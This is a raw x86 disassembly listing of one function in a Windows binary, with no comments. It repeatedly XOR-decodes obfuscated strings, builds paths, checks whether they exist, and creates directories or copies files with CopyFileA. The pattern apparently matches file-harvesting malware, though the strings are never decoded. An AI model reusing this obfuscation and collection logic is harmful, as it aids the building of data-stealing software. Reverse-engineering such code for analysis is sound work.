xorps xmm0, xmm0
mov byte [ebp - 0x4dc], 0xfc
movq qword [ebp - 0x4db], xmm0
mov word [ebp - 0x4d3], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4ee], al
inc ecx
cmp ecx, 0x13
jb 0x416340
lea eax, [ebp - 0x4ee]
mov dword [0x55d5a8], ecx
push eax
lea ecx, [ebp - 0xb4c]
mov byte [ebp - 0x4db], 0
call fcn.00402ab0
lea ecx, [ebp - 0xb4c]
mov byte [ebp - 4], 0x59
call fcn.00402b50
push eax
lea ecx, [ebp - 0x1464]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x16f0]
mov byte [ebp - 4], 0x5a
lea ecx, [ebp - 0xa14]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x1464]
call fcn.00402a10
lea ecx, [ebp - 0xb4c]
mov byte [ebp - 4], 0x5d
call fcn.00402a10
lea ecx, [ebp - 0xa14]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x416501
xorps xmm0, xmm0
mov dword [ebp - 0x24], 0xf2e8c2db
mov byte [ebp - 0x20], 0xf3
xor ecx, ecx
movq qword [ebp - 0x1f], xmm0
mov word [ebp - 0x17], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 5
jb 0x4163f3
lea eax, [ebp - 0x24]
mov dword [0x55d544], ecx
push eax
lea ecx, [ebp - 0xb64]
mov byte [ebp - 0x1f], 0
call fcn.00402ab0
lea ecx, [ebp - 0xb64]
mov byte [ebp - 4], 0x5e
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x7d8]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xb64]
mov byte [ebp - 4], 0x60
call fcn.00402a10
lea ecx, [ebp - 0x7d8]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x416478
push 0
lea ecx, [ebp - 0x7d8]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x4164f2
sub esp, 0x18
lea eax, [ebp - 0x7d8]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0x61
lea eax, [ebp - 0xa14]
mov ecx, esp
push eax
call fcn.00483010
mov cl, bl
mov byte [ebp - 4], 0x60
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x4164ba
mov byte [edi], 1
jmp 0x4164f2
lea ecx, [ebp - 0x7d8]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xb7c]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0xb7c]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xb7c]
call fcn.00402a10
lea ecx, [ebp - 0x7d8]
mov byte [ebp - 4], 0x5d
call fcn.00402a10
movaps xmm0, xmmword [0x54a190]
xor ecx, ecx
movups xmmword [ebp - 0x8ea], xmm0
mov word [ebp - 0x8da], 0xefcb
movaps xmm0, xmmword [0x547d90]
movups xmmword [ebp - 0x8d8], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x8ea], al
inc ecx
cmp ecx, 0x18
jb 0x416530
lea eax, [ebp - 0x8ea]
mov dword [0x55d570], ecx
push eax
lea ecx, [ebp - 0xb94]
mov byte [ebp - 0x8d2], 0
call fcn.00402ab0
lea ecx, [ebp - 0xb94]
mov byte [ebp - 4], 0x63
call fcn.00402b50
push eax
lea ecx, [ebp - 0x147c]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x17f8]
mov byte [ebp - 4], 0x64
lea ecx, [ebp - 0xa2c]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x147c]
call fcn.00402a10
lea ecx, [ebp - 0xb94]
mov byte [ebp - 4], 0x67
call fcn.00402a10
lea ecx, [ebp - 0xa2c]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x4166f8
movaps xmm0, xmmword [0x547a10]
xor ecx, ecx
mov word [ebp - 0x2d9], 0xcbdb
movups xmmword [ebp - 0x2d7], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2d9], al
inc ecx
cmp ecx, 8
jb 0x4165e1
lea eax, [ebp - 0x2d9]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0xbac]
mov byte [ebp - 0x2d1], 0
call fcn.00402ab0
lea ecx, [ebp - 0xbac]
mov byte [ebp - 4], 0x68
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x7f0]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xbac]
mov byte [ebp - 4], 0x6a
call fcn.00402a10
lea ecx, [ebp - 0x7f0]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x41666f
push 0
lea ecx, [ebp - 0x7f0]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x4166e9
sub esp, 0x18
lea eax, [ebp - 0x7f0]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0x6b
lea eax, [ebp - 0xa2c]
mov ecx, esp
push eax
call fcn.00483010
mov cl, bl
mov byte [ebp - 4], 0x6a
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x4166b1
mov byte [edi], 1
jmp 0x4166e9
lea ecx, [ebp - 0x7f0]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xbc4]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0xbc4]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xbc4]
call fcn.00402a10
lea ecx, [ebp - 0x7f0]
mov byte [ebp - 4], 0x67
call fcn.00402a10
movaps xmm0, xmmword [0x548070]
xor ecx, ecx
mov byte [ebp - 0x449], 0xdb
movups xmmword [ebp - 0x448], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x449], al
inc ecx
cmp ecx, 7
jb 0x416710
lea eax, [ebp - 0x449]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xbdc]
mov byte [ebp - 0x442], 0
call fcn.00402ab0
lea ecx, [ebp - 0xbdc]
mov byte [ebp - 4], 0x6d
call fcn.00402b50
push eax
lea ecx, [ebp - 0x1494]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x16f0]
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0xaa4]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x1494]
call fcn.00402a10
lea ecx, [ebp - 0xbdc]
mov byte [ebp - 4], 0x71
call fcn.00402a10
lea ecx, [ebp - 0xaa4]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x4168d7
movaps xmm0, xmmword [0x548070]
xor ecx, ecx
mov byte [ebp - 0x45a], 0xdb
movups xmmword [ebp - 0x459], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x45a], al
inc ecx
cmp ecx, 7
jb 0x4167c0
lea eax, [ebp - 0x45a]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xbf4]
mov byte [ebp - 0x453], 0
call fcn.00402ab0
lea ecx, [ebp - 0xbf4]
mov byte [ebp - 4], 0x72
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x808]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xbf4]
mov byte [ebp - 4], 0x74
call fcn.00402a10
lea ecx, [ebp - 0x808]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x41684e
push 0
lea ecx, [ebp - 0x808]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x4168c8
sub esp, 0x18
lea eax, [ebp - 0x808]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0xaa4]
mov ecx, esp
push eax
call fcn.00483010
mov cl, bl
mov byte [ebp - 4], 0x74
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x416890
mov byte [edi], 1
jmp 0x4168c8
lea ecx, [ebp - 0x808]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xc0c]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xc0c]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xc0c]
call fcn.00402a10
lea ecx, [ebp - 0x808]
mov byte [ebp - 4], 0x71
call fcn.00402a10
movaps xmm0, xmmword [0x549ee0]
xor ecx, ecx
movups xmmword [ebp - 0x514], xmm0
mov dword [ebp - 0x504], 0xeef7fdfe
movaps xmm0, xmmword [0x547160]
mov word [ebp - 0x500], 0xcbc7
movups xmmword [ebp - 0x4fe], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x514], al
inc ecx
cmp ecx, 0x1c
jb 0x416910
lea eax, [ebp - 0x514]
mov dword [0x55d5f4], ecx
push eax
lea ecx, [ebp - 0xc24]
mov byte [ebp - 0x4f8], 0
call fcn.00402ab0
lea ecx, [ebp - 0xc24]
mov byte [ebp - 4], 0x77
call fcn.00402b50
push eax
lea ecx, [ebp - 0x14ac]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x16f0]
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x9e4]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x14ac]
call fcn.00402a10
lea ecx, [ebp - 0xc24]
mov byte [ebp - 4], 0x7b
call fcn.00402a10
lea ecx, [ebp - 0x9e4]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x416ad7
movaps xmm0, xmmword [0x547860]
xor ecx, ecx
mov byte [ebp - 0x46b], 0xdb
movups xmmword [ebp - 0x46a], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x46b], al
inc ecx
cmp ecx, 7
jb 0x4169c0
lea eax, [ebp - 0x46b]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xc3c]
mov byte [ebp - 0x464], 0
call fcn.00402ab0
lea ecx, [ebp - 0xc3c]
mov byte [ebp - 4], 0x7c
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x820]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xc3c]
mov byte [ebp - 4], 0x7e
call fcn.00402a10
lea ecx, [ebp - 0x820]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x416a4e
push 0
lea ecx, [ebp - 0x820]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x416ac8
sub esp, 0x18
lea eax, [ebp - 0x820]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0x7f
lea eax, [ebp - 0x9e4]
mov ecx, esp
push eax
call fcn.00483010
mov cl, bl
mov byte [ebp - 4], 0x7e
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x416a90
mov byte [edi], 1
jmp 0x416ac8
lea ecx, [ebp - 0x820]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xc54]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x80
lea ecx, [ebp - 0xc54]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xc54]
call fcn.00402a10
lea ecx, [ebp - 0x820]
mov byte [ebp - 4], 0x7b
call fcn.00402a10
movaps xmm0, xmmword [0x549890]
xor ecx, ecx
movups xmmword [ebp - 0x5af], xmm0
mov byte [ebp - 0x59f], 0xf5
xorps xmm0, xmm0
mov word [ebp - 0x596], 0
movq qword [ebp - 0x59e], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x5af], al
inc ecx
cmp ecx, 0x11
jb 0x416b02
lea eax, [ebp - 0x5af]
mov dword [0x55d634], ecx
push eax
lea ecx, [ebp - 0xc6c]
mov byte [ebp - 0x59e], 0
call fcn.00402ab0
lea ecx, [ebp - 0xc6c]
mov byte [ebp - 4], 0x81
call fcn.00402b50
push eax
lea ecx, [ebp - 0x14c4]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x16f0]
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x9cc]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x14c4]
call fcn.00402a10
lea ecx, [ebp - 0xc6c]
mov byte [ebp - 4], 0x85
call fcn.00402a10
sub esp, 0x18
lea eax, [ebp - 0x9cc]
mov ecx, esp
push eax
call fcn.00483010
call fcn.0040da60
mov ebx, dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x18
test al, al
je 0x416d50
movaps xmm0, xmmword [0x548520]
xor ecx, ecx
mov byte [ebp - 0x405], 0xdb
movups xmmword [ebp - 0x404], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x405], al
inc ecx
cmp ecx, 7
jb 0x416bc0
lea eax, [ebp - 0x405]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xc84]
mov byte [ebp - 0x3fe], 0
call fcn.00402ab0
lea ecx, [ebp - 0xc84]
mov byte [ebp - 4], 0x86
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x838]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xc84]
mov byte [ebp - 4], 0x88
call fcn.00402a10
lea ecx, [ebp - 0x838]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x416c4e
push 0
lea ecx, [ebp - 0x838]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x416d41
movaps xmm0, xmmword [0x547f60]
xor ecx, ecx
mov dword [ebp - 0x1cd], 0xfee0eadb
movups xmmword [ebp - 0x1c9], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1cd], al
inc ecx
cmp ecx, 0xa
jb 0x416c70
lea eax, [ebp - 0x1cd]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0xc9c]
mov byte [ebp - 0x1c3], 0
call fcn.00402ab0
lea ecx, [ebp - 0xc9c]
mov byte [ebp - 4], 0x89
call fcn.00402b50
push eax
lea edx, [ebp - 0x838]
lea ecx, [ebp - 0x14dc]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0x9cc]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0x14dc]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0xc9c]
mov byte [ebp - 4], 0x88
call fcn.00402a10
test esi, esi
je 0x416d03
mov byte [edi], 1
jmp 0x416d3b
lea ecx, [ebp - 0x838]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xcb4]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0xcb4]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xcb4]
call fcn.00402a10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x838]
mov byte [ebp - 4], 0x85
call fcn.00402a10
movaps xmm0, xmmword [0x549c40]
xor ecx, ecx
movups xmmword [ebp - 0x364], xmm0
mov dword [ebp - 0x354], 0xeefcf4fb
xorps xmm0, xmm0
mov byte [ebp - 0x350], 0xe8
movq qword [ebp - 0x34f], xmm0
mov word [ebp - 0x347], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x364], al
inc ecx
cmp ecx, 0x15
jb 0x416d85
lea eax, [ebp - 0x364]
mov dword [0x55d5ac], ecx
push eax
lea ecx, [ebp - 0xccc]
mov byte [ebp - 0x34f], 0
call fcn.00402ab0
lea ecx, [ebp - 0xccc]
mov byte [ebp - 4], 0x8b
call fcn.00402b50
push eax
lea ecx, [ebp - 0x14f4]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x16f0]
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x9b4]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x14f4]
call fcn.00402a10
lea ecx, [ebp - 0xccc]
mov byte [ebp - 4], 0x8f
call fcn.00402a10
lea ecx, [ebp - 0x9b4]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x416f6a
movaps xmm0, xmmword [0x5482d0]
xor ecx, ecx
mov dword [ebp - 0x124], 0xefe5cddb
mov word [ebp - 0x120], 0xf8e8
mov byte [ebp - 0x11e], 0xff
movups xmmword [ebp - 0x11d], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x124], al
inc ecx
cmp ecx, 0xd
jb 0x416e50
lea eax, [ebp - 0x124]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0xce4]
mov byte [ebp - 0x117], 0
call fcn.00402ab0
lea ecx, [ebp - 0xce4]
mov byte [ebp - 4], 0x90
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x850]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xce4]
mov byte [ebp - 4], 0x92
call fcn.00402a10
lea ecx, [ebp - 0x850]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x416ede
push 0
lea ecx, [ebp - 0x850]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x416f5b
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x850]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0x93
lea eax, [ebp - 0x9b4]
mov ecx, esp
push eax
call fcn.00483010
mov cl, byte [ebp - 0x15]
mov byte [ebp - 4], 0x92
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x416f23
mov byte [edi], 1
jmp 0x416f5b
lea ecx, [ebp - 0x850]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xcfc]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0xcfc]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xcfc]
call fcn.00402a10
lea ecx, [ebp - 0x850]
mov byte [ebp - 4], 0x8f
call fcn.00402a10
movaps xmm0, xmmword [0x549e10]
xor ecx, ecx
movups xmmword [ebp - 0x90b], xmm0
mov byte [ebp - 0x8fb], 0xe5
movaps xmm0, xmmword [0x547fb0]
movups xmmword [ebp - 0x8fa], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x90b], al
inc ecx
cmp ecx, 0x17
jb 0x416f90
lea eax, [ebp - 0x90b]
mov dword [0x55d5bc], ecx
push eax
lea ecx, [ebp - 0xd14]
mov byte [ebp - 0x8f4], 0
call fcn.00402ab0
lea ecx, [ebp - 0xd14]
mov byte [ebp - 4], 0x95
call fcn.00402b50
push eax
lea ecx, [ebp - 0x150c]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x16f0]
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x99c]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x150c]
call fcn.00402a10
lea ecx, [ebp - 0xd14]
mov byte [ebp - 4], 0x99
call fcn.00402a10
sub esp, 0x18
lea eax, [ebp - 0x99c]
mov ecx, esp
push eax
call fcn.00483010
call fcn.0040da60
add esp, 0x18
test al, al
je 0x4171d7
movaps xmm0, xmmword [0x547cd0]
xor ecx, ecx
mov word [ebp - 0x2c7], 0xcadb
movups xmmword [ebp - 0x2c5], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2c7], al
inc ecx
cmp ecx, 8
jb 0x417050
lea eax, [ebp - 0x2c7]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0xd2c]
mov byte [ebp - 0x2bf], 0
call fcn.00402ab0
lea ecx, [ebp - 0xd2c]
mov byte [ebp - 4], 0x9a
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x700]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xd2c]
mov byte [ebp - 4], 0x9c
call fcn.00402a10
lea ecx, [ebp - 0x700]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x4170de
push 0
lea ecx, [ebp - 0x700]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x4171c8
movaps xmm0, xmmword [0x548300]
xor ecx, ecx
mov dword [ebp - 0x65], 0xfaf9e9db
mov dword [ebp - 0x61], 0xe1f9ffa6
mov byte [ebp - 0x5d], 0xfd
movups xmmword [ebp - 0x5c], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x65], al
inc ecx
cmp ecx, 0xf
jb 0x417100
lea eax, [ebp - 0x65]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0xd44]
mov byte [ebp - 0x56], 0
call fcn.00402ab0
lea ecx, [ebp - 0xd44]
mov byte [ebp - 4], 0x9d
call fcn.00402b50
push eax
lea edx, [ebp - 0x700]
lea ecx, [ebp - 0x1524]
call fcn.00486d20
add esp, 4
mov ecx, eax
call fcn.00402b50
lea ecx, [ebp - 0x99c]
mov esi, eax
call fcn.00402b50
push 0
push esi
push eax
call ebx
lea ecx, [ebp - 0x1524]
mov esi, eax
call fcn.00402a10
lea ecx, [ebp - 0xd44]
mov byte [ebp - 4], 0x9c
call fcn.00402a10
test esi, esi
je 0x41718a
mov byte [edi], 1
jmp 0x4171c2
lea ecx, [ebp - 0x700]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xd5c]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0xd5c]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xd5c]
call fcn.00402a10
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x700]
mov byte [ebp - 4], 0x99
call fcn.00402a10
movaps xmm0, xmmword [0x5494a0]
xor ecx, ecx
movups xmmword [ebp - 0x5ca], xmm0
mov byte [ebp - 0x5ba], 0xe4
xorps xmm0, xmm0
mov word [ebp - 0x5b1], 0
movq qword [ebp - 0x5b9], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x5ca], al
inc ecx
cmp ecx, 0x11
jb 0x417202
lea eax, [ebp - 0x5ca]
mov dword [0x55d634], ecx
push eax
lea ecx, [ebp - 0xd74]
mov byte [ebp - 0x5b9], 0
call fcn.00402ab0
lea ecx, [ebp - 0xd74]
mov byte [ebp - 4], 0x9f
call fcn.00402b50
push eax
lea ecx, [ebp - 0x153c]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x16f0]
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x984]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x153c]
call fcn.00402a10
lea ecx, [ebp - 0xd74]
mov byte [ebp - 4], 0xa3
call fcn.00402a10
lea ecx, [ebp - 0x984]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x4173da
movaps xmm0, xmmword [0x547640]
xor ecx, ecx
mov word [ebp - 0x258], 0xcddb
mov byte [ebp - 0x256], 0xfd
movups xmmword [ebp - 0x255], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x258], al
inc ecx
cmp ecx, 9
jb 0x4172c0
lea eax, [ebp - 0x258]
mov dword [0x55d630], ecx
push eax
lea ecx, [ebp - 0xd8c]
mov byte [ebp - 0x24f], 0
call fcn.00402ab0
lea ecx, [ebp - 0xd8c]
mov byte [ebp - 4], 0xa4
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x718]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xd8c]
mov byte [ebp - 4], 0xa6
call fcn.00402a10
lea ecx, [ebp - 0x718]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x41734e
push 0
lea ecx, [ebp - 0x718]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x4173cb
sub esp, 0x18
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x718]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.00483010
sub esp, 0x18
mov byte [ebp - 4], 0xa7
lea eax, [ebp - 0x984]
mov ecx, esp
push eax
call fcn.00483010
mov cl, byte [ebp - 0x15]
mov byte [ebp - 4], 0xa6
call fcn.00412090
add esp, 0x30
test eax, eax
jne 0x417393
mov byte [edi], 1
jmp 0x4173cb
lea ecx, [ebp - 0x718]
call fcn.00402b50
push eax
lea ecx, [ebp - 0xda4]
call fcn.00402ab0
push 0
mov dl, 1
mov byte [ebp - 4], 0xa8
lea ecx, [ebp - 0xda4]
call fcn.0040dc90
add esp, 4
lea ecx, [ebp - 0xda4]
call fcn.00402a10
lea ecx, [ebp - 0x718]
mov byte [ebp - 4], 0xa3
call fcn.00402a10
movaps xmm0, xmmword [0x547d10]
xor ecx, ecx
mov byte [ebp - 0x47c], 0xdb
movups xmmword [ebp - 0x47b], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x47c], al
inc ecx
cmp ecx, 7
jb 0x4173f1
lea eax, [ebp - 0x47c]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xdbc]
mov byte [ebp - 0x475], 0
call fcn.00402ab0
lea ecx, [ebp - 0xdbc]
mov byte [ebp - 4], 0xa9
call fcn.00402b50
push eax
lea ecx, [ebp - 0x1554]
call fcn.00402ab0
push eax
lea edx, [ebp - 0x16f0]
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0x3dc]
call fcn.00486e40
add esp, 4
lea ecx, [ebp - 0x1554]
call fcn.00402a10
lea ecx, [ebp - 0xdbc]
mov byte [ebp - 4], 0xad
call fcn.00402a10
lea ecx, [ebp - 0x3dc]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x417c7b
movaps xmm0, xmmword [0x547d10]
xor ecx, ecx
mov byte [ebp - 0x48d], 0xdb
movups xmmword [ebp - 0x48c], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x48d], al
inc ecx
cmp ecx, 7
jb 0x4174a0
lea eax, [ebp - 0x48d]
mov dword [0x55d560], ecx
push eax
lea ecx, [ebp - 0xdd4]
mov byte [ebp - 0x486], 0
call fcn.00402ab0
lea ecx, [ebp - 0xdd4]
mov byte [ebp - 4], 0xae
call fcn.00402b50
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x630]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xdd4]
mov byte [ebp - 4], 0xb0
call fcn.00402a10
lea ecx, [ebp - 0x630]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x41752e
push 0
lea ecx, [ebp - 0x630]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x417c6c
movaps xmm0, xmmword [0x547170]
xor ecx, ecx
mov dword [ebp - 0x1b9], 0xeee7c1db
movups xmmword [ebp - 0x1b5], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1b9], al
inc ecx
cmp ecx, 0xa
jb 0x417550
lea eax, [ebp - 0x1b9]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0xdec]
mov byte [ebp - 0x1af], 0
call fcn.00402ab0
lea ecx, [ebp - 0xdec]
mov byte [ebp - 4], 0xb1
call fcn.00402b50
push eax
lea edx, [ebp - 0x3dc]
lea ecx, [ebp - 0x156c]
call fcn.00486d20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0xb2
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
lea ecx, [ebp - 0x156c]
mov bl, al
call fcn.00402a10
lea ecx, [ebp - 0xdec]
mov byte [ebp - 4], 0xb0
call fcn.00402a10
test bl, bl
je 0x41778a
movaps xmm0, xmmword [0x547170]
xor ecx, ecx
mov dword [ebp - 0x1a5], 0xeee7c1db
movups xmmword [ebp - 0x1a1], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1a5], al
inc ecx
cmp ecx, 0xa
jb 0x4175f4
lea eax, [ebp - 0x1a5]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0xe04]
mov byte [ebp - 0x19b], 0
call fcn.00402ab0
lea ecx, [ebp - 0xe04]
mov byte [ebp - 4], 0xb3
call fcn.00402b50
push eax
lea edx, [ebp - 0x630]
lea ecx, [ebp - 0x730]
call fcn.00486d20
add esp, 4
lea ecx, [ebp - 0xe04]
mov byte [ebp - 4], 0xb5
call fcn.00402a10
lea ecx, [ebp - 0x730]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
jne 0x417685
push 0
lea ecx, [ebp - 0x730]
call fcn.00402b50
push eax
call esi
test eax, eax
je 0x41777b
movaps xmm0, xmmword [0x547170]
lea eax, [ebp - 0x730]
sub esp, 0x18
mov dword [ebp - 0x231], 0xeee7c1db
mov ecx, esp
mov dword [ebp - 0x14], esp
movups xmmword [ebp - 0x22d], xmm0
xor bl, bl
push eax
call fcn.00483010
mov byte [ebp - 4], 0xb6
xor ecx, ecx
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x231], al
inc ecx
cmp ecx, 0xa
jb 0x4176c0
lea eax, [ebp - 0x231]
mov dword [0x55d5e0], ecx
push eax
lea ecx, [ebp - 0xe1c]
mov byte [ebp - 0x227], 0
call fcn.00402ab0
sub esp, 0x18
